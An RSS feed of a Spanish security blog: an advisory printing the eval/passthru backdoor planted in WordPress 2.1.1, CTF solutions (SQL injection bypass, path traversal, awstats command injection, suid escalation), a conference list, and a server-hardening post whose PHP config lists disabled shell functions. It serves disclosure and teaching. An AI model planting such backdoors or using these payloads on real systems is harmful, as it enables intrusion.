<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>P0L0&#039;s Blog &#187; security</title>
	<atom:link href="http://p0l0.binware.org/index.php/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://p0l0.binware.org</link>
	<description>Opensource Projects and IT experiences</description>
	<lastBuildDate>Sun, 30 Oct 2011 08:39:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>WordPress 2.1.1 Comprometido</title>
		<link>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/</link>
		<comments>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/#comments</comments>
		<pubDate>Sun, 04 Mar 2007 11:03:47 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/</guid>
		<description><![CDATA[Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2 El codigo injectado esta [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de <a href="http://wordpress.org/development/2007/03/upgrade-212/" target="_blank">wordpress</a> hay que actualizar inmeditamente a la version 2.1.2</p>
<p>El codigo injectado esta en estos dos ficheros:</p>
<ul>
<li>wp-includes/feed.php

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>84
85
86
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> comment_text_phpfilter<span style="color: #009900;">&#40;</span><span style="color: #000088;">$filterdata</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filterdata</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>149
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ix&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> comment_text_phpfilter<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ix&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</li>
</ul>
<ul>
<li>wp-includes/theme.php

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>408
409
410
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> get_theme_mcommand<span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcds</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #990000;">passthru</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcds</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>441
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;iz&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> get_theme_mcommand<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;iz&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hacker::quiz</title>
		<link>http://p0l0.binware.org/index.php/2006/12/11/hackerquiz/</link>
		<comments>http://p0l0.binware.org/index.php/2006/12/11/hackerquiz/#comments</comments>
		<pubDate>Mon, 11 Dec 2006 14:30:08 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[bkp]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2006/12/11/hackerquiz/</guid>
		<description><![CDATA[Ya ha acabado la bkp 7ª edicion, y para quien le interese aqui os cuelgo aqui el codigo del hacker::quiz de este año. Realmente es muy sencillo, pero aun asi os colgare las soluciones. Descargar hacker::quiz Level1 Aparentemente no parece que hay ningun error de programacion, pero si pruebas de buscar los .bak, *~&#8230; encuentras [...]]]></description>
			<content:encoded><![CDATA[<p>Ya ha acabado la <a title="Bkp 7ª edicion" target="_blank" href="https://www.balearikus-party.org/2006/principal.php?recordID=1">bkp 7ª edicion</a>, y para quien le interese aqui os cuelgo aqui el codigo del <a title="hacker::quiz" target="_blank" href="https://www.balearikus-party.org/2006/info_evento.php?recordID=10&#038;eventID=2">hacker::quiz</a> de este año. Realmente es muy sencillo, pero aun asi os colgare las soluciones.</p>
<p><a target="_blank" title="hacker::quiz 2006" href="http://p0l0.binware.org/wp-content/2006/12/hackerQuiz.tar.bz2">Descargar hacker::quiz</a></p>
<ul>
<li>Level1</li>
</ul>
<ul>
<li>Aparentemente no parece que hay ningun error de programacion, pero si pruebas de buscar los .bak, *~&#8230; encuentras el fichero login.php~ y en el aparece la contraseña en md5. Con un cracker de md5 como por ejemplo <a title="Lepton's Crack" target="_blank" href="http://freshmeat.net/projects/lcrack/">lcrack</a>. En pocos minutos saldra la contraseña del nivel.</li>
</ul>
<ul>
<li>Level2</li>
</ul>
<ul>
<li>Aqui hay que fijarse que en el codigo hay un &#8220;src=javascript&#8221; y que el codigo bueno esta en el fichero javascript. Aqui se una un algoritmo de encriptacion super sencillo, que se puede desencriptar facilmente cambiando la funcion generatePass para sacar la contraseña.</li>
</ul>
<ul>
<li>Level3</li>
</ul>
<ul>
<li>Este nivel es un formulario con sql injection super sencillo, cuando pones un &#8216; el error cambia a &#8220;Error Sql&#8221;, por lo tanto con un sencillo &#8220;&#8216; OR 1=1 &#8212; a&#8221; te saltas la autenficiacion y pasas al siguiente nivel</li>
</ul>
<ul>
<li>Level4</li>
</ul>
<ul>
<li>En este nivel hay un applet java que gestiona la autentificacion. Descargando el .class y descompilandolo con un java decompiler tipo <a title="Java Decompiler" target="_blank" href="http://www.kpdus.com/jad.html">jad</a>. Analizando el codigo ves que accede a un fichero del que saca el usuario y contraseña.</li>
</ul>
<ul>
<li>Level5</li>
</ul>
<ul>
<li>En este nivel, se puede ver que el formulario es multi-idioma, pero si cambias el parametro del idioma, intenta acceder a un fichero, por lo tanto, cuando pones &#8220;login/index&#8221; da un error de que no encuentra authdata.php, apuntas a ese fichero y te aparece el usuario y contraseña por pantalla</li>
</ul>
<ul>
<li>Level6</li>
</ul>
<ul>
<li>Aqui puedes ver que la autentificacion tiene unas estadisticas creadas con awstats, investigando un poco te das cuenta que la version de awstats es vulnerable a injeccion de comandos en la variable &#8220;configdir&#8221;. Haciendo un ls ves que hay un fichero &#8220;instructions-next-level.pl&#8221;, haciendole un simple &#8220;cat&#8221; se puede ver en los comentarios la contraseña</li>
</ul>
<ul>
<li>Level7</li>
</ul>
<ul>
<li>Aqui te dan una linea de un usuario de la maquina, al cual con por ejemplo &#8220;john the ripper&#8221; crackeas la contraseña y consigues acceso a la maquina. Una vez dentro de la maquina, buscando un poco te encuentras con un fichero &#8220;getsh&#8221; (el codigo fuente esta incluido en el fichero) con suid en &#8220;/opt/&#8230;/&#8221;. Analizando el fichero con un editor normal o un editor hexadecimal, encuentras el string &#8220;/opt/&#8230;/theshell&#8221;, y basta con copiar el fichero &#8220;mysh&#8221; a &#8220;theshell&#8221; y ejecutas el &#8220;getsh&#8221; y ya eres root.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2006/12/11/hackerquiz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Congreso No Con Name 2006</title>
		<link>http://p0l0.binware.org/index.php/2006/09/25/congreso-no-con-name-2006/</link>
		<comments>http://p0l0.binware.org/index.php/2006/09/25/congreso-no-con-name-2006/#comments</comments>
		<pubDate>Mon, 25 Sep 2006 12:04:33 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[ncn]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2006/09/25/congreso-no-con-name-2006/</guid>
		<description><![CDATA[El proximo jueves 28 de Septiembre tendra lugar en el Parc Bit el congreso de seguridad informatica No Con Name 2006 que este año cuenta con ponentes traidores de fuera de España y con conferencias muy interesantes. Las conferencias que se daran seran las siguientes: Andrés Tarascó ( Madrid &#8211; SIA ) &#8211; Exploiting win32 [...]]]></description>
			<content:encoded><![CDATA[<p>El proximo jueves 28 de Septiembre tendra lugar en el Parc Bit el congreso de seguridad informatica <a target="_blank" title="No Con Name 2006" href="http://www.noconname.org/congreso2006.php">No Con Name 2006</a> que este año cuenta con ponentes traidores de fuera de España y con conferencias muy interesantes. Las conferencias que se daran seran las siguientes:</p>
<ul>
<li>Andrés Tarascó ( Madrid &#8211; SIA ) &#8211; Exploiting win32 design flaws</li>
<li>Ramón Pinuaga ( Murcia &#8211; S21sec ) &#8211;      Auditoría en DB2 ( un enfoque práctico )</li>
<li>Jesús Olmos González ( Barcelona &#8211; Internet Sec. Auditors )      &#8211; Seguridad de Código mediante tecnología vírica</li>
<li>Ero Carrera ( Germany- Sabre-Security )      &#8211; Reverse Engineering Malware. The Analyst&#8217;s View.</li>
<li>Raoul Chiesa ( Italy &#8211; Telecom Security Task Force )      &#8211; Having fun with X.25 hacking</li>
<li>Cesar Cerrudo &#038; Esteban Martinez ( Argentina &#8211; Argeniss ) &#8211; DataTheft. How databases are hacked and how to protect them</li>
<li>Angelo Rosiello ( Italy ) &#8211;      Shadow Sofware attacks</li>
<li>Ollie Whitehouse ( U.K. &#8211; Symantec )      &#8211; Future Threat Analysis of Microsoft Windows CE 5</li>
<li>Shawn Merdinger ( USA ) &#8211;      Hacking Wifi &#038; Wired VoIP Phones</li>
<li>Alejandro Ramos ( Madrid &#8211; SIA ) &#8211;      Presente: DNI-Electronico</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2006/09/25/congreso-no-con-name-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack-it de la Euskal Encounter 2006</title>
		<link>http://p0l0.binware.org/index.php/2006/08/22/hack-it-de-la-euskal-encounter-2006/</link>
		<comments>http://p0l0.binware.org/index.php/2006/08/22/hack-it-de-la-euskal-encounter-2006/#comments</comments>
		<pubDate>Tue, 22 Aug 2006 13:13:43 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2006/08/22/hack-it-de-la-euskal-encounter-2006/</guid>
		<description><![CDATA[Se ha publicado el Hack-it de este año para quien quiera jugar desde casa. Yo ya me lo he bajado para trastear un poco ;o) He creado un mirror en binware. Los mirrors que hay son: Hack-it, mirror universidad: TAR.GZ Hack-it, mirror blog.txipinet.com (lento): TAR.GZ Hack-it, mirror binware: TAR.GZ Tambien se han publicado las soluciones [...]]]></description>
			<content:encoded><![CDATA[<p>Se ha publicado el Hack-it de este año para quien quiera jugar desde casa. Yo ya me lo he bajado para trastear un poco ;o)</p>
<p>He creado un mirror en <a target="_new" href="http://binware.org">binware</a>. Los mirrors que hay son:</p>
<ul>
<li>Hack-it, mirror universidad: <a href="http://e-ghost.deusto.es/docs/2006/ek14-html.tar.gz">TAR.GZ</a></li>
<li>Hack-it, mirror blog.txipinet.com (lento): <a href="http://blog.txipinet.com/share/ek14-html.tar.gz">TAR.GZ</a></li>
<li>Hack-it, mirror binware: <a href="http://binware.org/downloads/ek14-html.tar.gz">TAR.GZ</a></li>
</ul>
<p>Tambien se han publicado las soluciones del nivel 1 al 17</p>
<ul>
<li>Solucion Hack-it: <a href="http://blog.txipinet.com/index.php/2006/08/15/20-solucion-de-los-5-primeros-niveles-del-hack-it-de-la-euskal-encounter-2006">1-5</a></li>
<li>Solucion Hack-it: <a href="http://blog.txipinet.com/index.php/2006/08/15/21-solucion-de-los-niveles-del-6-al-10-del-hack-it-de-la-euskal-encounter-2006">6-10</a></li>
<li>Solucion Hack-it: <a href="http://blog.txipinet.com/index.php/2006/08/15/22-solucion-de-los-niveles-del-11-al-15-del-hack-it-de-la-euskal-encounter-2006">11-15</a></li>
<li>Solucion Hack-it: <a href="http://blog.txipinet.com/index.php/2006/08/15/23-solucion-de-los-niveles-del-16-y-17-del-hack-it-de-la-euskal-encounter-2006">16-17</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2006/08/22/hack-it-de-la-euskal-encounter-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Asegurando Server</title>
		<link>http://p0l0.binware.org/index.php/2005/03/06/asegurando-server/</link>
		<comments>http://p0l0.binware.org/index.php/2005/03/06/asegurando-server/#comments</comments>
		<pubDate>Sun, 06 Mar 2005 19:51:00 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2005/03/06/asegurando-server/</guid>
		<description><![CDATA[Bueno, esta semana voy de dejar el servidor de hosting bien seguro. Ire poniendo todo lo que he ido haciendo. Por ahora tengo puesto unas cuantas cosas, pero como siempre la paranoia puede conmigo y no me parece suficientemente seguro ;P Cosas instaladas: Portsentry Snort Firewall /tmp y /home montados con noexec,nosuid /dev/hda7 /tmp ext3 [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, esta semana voy de dejar el servidor de hosting bien seguro. Ire poniendo todo lo que he ido haciendo. Por ahora tengo puesto unas cuantas cosas, pero como siempre la paranoia puede conmigo y no me parece suficientemente seguro ;P</p>
<p>Cosas instaladas:</p>
<ol>
<li><a href="http://sourceforge.net/projects/sentrytools/">Portsentry</a></li>
<li><a href="http://www.snort.org/">Snort</a></li>
<li><a href="http://www.netfilter.org/">Firewall</a></li>
<li>/tmp y /home montados con noexec,nosuid
<pre>/dev/hda7       /tmp    <font color="green">ext3    defaults,noexec,nosuid</font>                  <font color="red">0  2</font>
/dev/hda8       /home   <font color="green">ext3    defaults,noexec,nosuid</font>                  <font color="red">0  2</font></pre>
</li>
<li><a href="http://es.php.net/manual/en/security.php">PHP</a> en safe mode y con unas cuantes funciones peligrosas deshabilitadas
<pre><font color="blue">
; Safe Mode
;</font>
<font color="green">safe_mode =</font> On
<font color="blue">
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.</font>
<font color="green">safe_mode_gid =</font> Off
<font color="blue">
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.</font>
<font color="green">disable_functions =</font> phpinfo, system, shell_exec, proc_terminate, proc_open, proc_nice, proc_get_status, proc_close, passthru, exec, escapeshellcmd, escapeshellarg
<font color="blue">
; Whether or not to register the EGPCS variables as global variables.  You may
; want to turn this off if you don't want to clutter your scripts' global scope
; with user data.  This makes most sense when coupled with track_vars - in which
; case you can access all of the GPC variables through the $HTTP_*_VARS[],
; variables.
;
; You should do your best to write your scripts so that they do not require
; register_globals to be on;  Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
;
; The default in PHP usptream is now "register_globals = Off".  The Debian package
; is patched for backward compatibility to default to "On", however this will NOT
; last forever.  You have been warned.</font>
<font color="green">register_globals =</font> Off</pre>
</li>
<li>chmod 750 a algunos archivos importantes
<pre><font color="blue">#!/bin/sh
#Script to change permission for sensible dir and programs</font>

<font color="green">BINARY</font>=<font color="red">"/usr/bin/wget /usr/bin/lynx /usr/bin/lynx.stable /usr/bin/links /usr/bin/links.main /usr/bin/scp /usr/bin/ftp /etc/alternatives/ /root/ /usr/bin/gcc* /usr/bin/cc*"</font>
<font color="green">MODE</font>=<font color="red">0750</font>
<font color="green">USER</font>=<font color="red">"root"</font>

<font color="orange">for</font> BIN <font color="orange">in</font> <font color="purple">$BINARY</font><font color="orange">; do</font>
chown <font color="purple">$USER</font>:<font color="purple">$USER $BIN</font>
chmod <font color="purple">$MODE $BIN</font>
<font color="orange">done</font></pre>
</li>
<li>Tripwire</li>
<li>&#8230; (seguro k me dejo algo)</li>
</ol>
<p>Bueno, ire poniendo como tengo configurado lo que tenia antes. Seguramente muchas cosas no estan tan bien o no estan echas como deberian, pero ya se ira mejorando ;o)</p>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2005/03/06/asegurando-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

